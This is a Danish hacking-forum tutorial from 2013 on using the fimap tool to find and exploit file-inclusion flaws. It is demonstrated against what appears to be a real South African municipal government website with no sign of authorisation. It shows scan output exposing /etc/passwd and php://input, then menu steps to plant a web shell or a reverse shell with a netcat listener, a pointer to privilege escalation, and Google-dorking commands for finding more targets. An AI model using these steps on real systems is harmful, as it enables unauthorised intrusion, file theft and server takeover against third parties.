fimap tutorial
|
27-10-2013, 15:02
(Denne besked var sidst ændret: 27-10-2013, 15:12 af R3dpill.)
|
|||
|
|||
fimap tutorial
introduktion
Fimap er et automatiseret script, der hjælper med både identifikation og udnyttelse af lfi/rfi sårbarheder. I denne vejledning vil jeg give en kort, men forhåbentlig nyttesfuld introduktion til fimap til at folk kan få et godt førstehåndsindtryk. Som navnet antyder, er værktøjet meget identisk med sqlmap, så de folk der har brugt sqlmap før, vil sandsynligvis hurtigt blive komfortable med fimap indhold, som jeg vil komme ind på: 1: identificering af lfi/rfi sårbarheder med fimap 2: udnyttelse af lfi/rfi sårbarheder med fimap 3: andre muligheder med fimaps funktioner 4: konklusion 1) identificering af lfi/rfi sårbarheder med fimap Når fimap er blevet hentet fra http://code.google.com/p/fimap/ skriver du i terminal: python fimap.py -u ”url” - det er dog klogt nok at gøre det til en vane at tilføje -b efter url for at fimap også tjekker for blind lfi med pluign'et. Hvis man kører fimap mod vores lille ”testside” http://www.fetakgomo.gov.za/index.php?pa...red_impact vil vi se, at fimap genkender en lfi sårbarhed i bunden, som vi kan bruge ############################################################################## #[1] Possible PHP-File Inclusion # ############################################################################## #::REQUEST # # [URL] http://www.fetakgomo.gov.za/index.php?pa...red_impact # # [HEAD SENT] # #::VULN INFO # # [GET PARAM] page # # [PATH] Not received (Blindmode) # # [OS] Unix # # [TYPE] Blindly Identified # # [TRUNCATION] Is needed. # # [READABLE FILES] # # [0] /etc/passwd -> /etc/passwd%00 # # [1] php://input -> php://input%00 # ############################################################################## 2) udnyttelse af lfi/rfi sårbarheder med fimap når vi har en bekrætet readable file som vi kan bruge til at uploade shell (kan være /proc/self/environ, php://input, http://www.phpbb.de/index.php og mange andre), kan vi gå videre til at exploite fejlen ved at skrive python fimap.py -x, hvor vores side vil ligge fremme, hvis alt er gjort korrekt ################################################### #:: List of Domains :: # ################################################### #[1] www.fetakgomo.gov.za # #[q] Quit # ################################################### ved choose domain vælges selvfølgelig 1 i det her tilfælde, hvorefter de filer du kan vælge at udnytte dukker op (her har vi dog kun php://input) ##################################################################################################### #:: FI Bugs on 'www.fetakgomo.gov.za' :: # ##################################################################################################### #[1] URL: '/index.php?page=desired_impact' injecting file: 'php://input' using GET-param: 'page' # #[q] Quit # ##################################################################################################### Choose vulnerable script: her skriver vi selvfølgelig også bare 1 til sidst dukker den sidste menu op, hvor du har muligheder for frit at vælge, hvilket slags shell du vil uploade på serveren. I dette tilfælde har vi 2 muligheder #################################################### #:: Available Attacks - PHP and SHELL access :: # #################################################### #[1] Spawn fimap shell # #[2] Spawn pentestmonkey's reverse shell # #[q] Quit # #################################################### Choose Attack: mulighed 1 giver os mulighed for at lægge et midlertidigt shell op, der dog har meget begrænset adgang. Dog kan du browse rundt og få et fint indtryk af, hvordan der lige ”ser ud” uden at gøre nogen som helst skade (tryk q for at vende tilbage mulighed 2 giver mulighed for at spawne et reverse shell, som kan sættes op ved at indtaste den ip du forbinder fra samt porten du forbinder fra, hvorefter du skal sætte din netcat listener op. Hvis alt går rigtigt, har du sat et reverse shell op når det er lykkedes dig at sætte et shell op på serveren, vil fimap automatisk have info omkring hvilken kernel der kører på serveren, som du vil have god gavn af, når du skal i gang med at få mere adgang via privilege escalation 3) andre muligheder med fimaps funktioner dette er egentligt bare copypaste fra -h. Nedenunder kan I se, hvordan fimap både kan bruges til at harveste en fil for lfi, hvordan en liste fra fimaps crawl-funktion kan tjekkes gennem med fimap frem for et enkelt url ad gangen og hvordan man bruger fimap til at dorke efter fejl 1. Scan a single URL for FI errors: ./fimap.py -u 'http://localhost/test.php?file=bang&id=23' 2. Scan a list of URLS for FI errors: ./fimap.py -m -l '/tmp/urllist.txt' 3. Scan Google search results for FI errors: ./fimap.py -g -q 'inurl:include.php' 4. Harvest all links of a webpage with recurse level of 3 and write the URLs to /tmp/urllist ./fimap.py -H -u 'http://localhost' -d 3 -w /tmp/urllist 4) konklusion Jeg håber, at der er nogle stykker derude, som kan få gavn af denne her vejledning – når folk har fået en god forståelse for, hvordan man kan bruge fimap, kan det være en god ide at lege lidt med at exploite manuelt og læse lidt op på teorien om lfi og rfi for at have en bedre forståelse af, hvorfor tingene fungerer som de gør. Da dette er min første tutorial her på shellsec kan det godt være, at jeg har formuleret mig lidt dårligt på nogle enkelte punkter, så skriv endelig, hvis noget af det jeg har skrevet er forvirrende for nogen Jeg overvejer mulgivis at opdatere denne del senere hen og finde nogle gode referencer til teori omkring lfi/rfi, men indtil videre kan morph3s's tråd om rfi være en fin reference til teori https://www.shellsec.pw/showthread.php?tid=34 Ellers kan det være, at jeg selv vil tage mig sammen til en vejledning med manuel udnyttelse af lfi og teorien bag, når jeg muligvis magter det en anden dag :P |
|||
|
User(s) browsing this thread: 1 Gæst(er)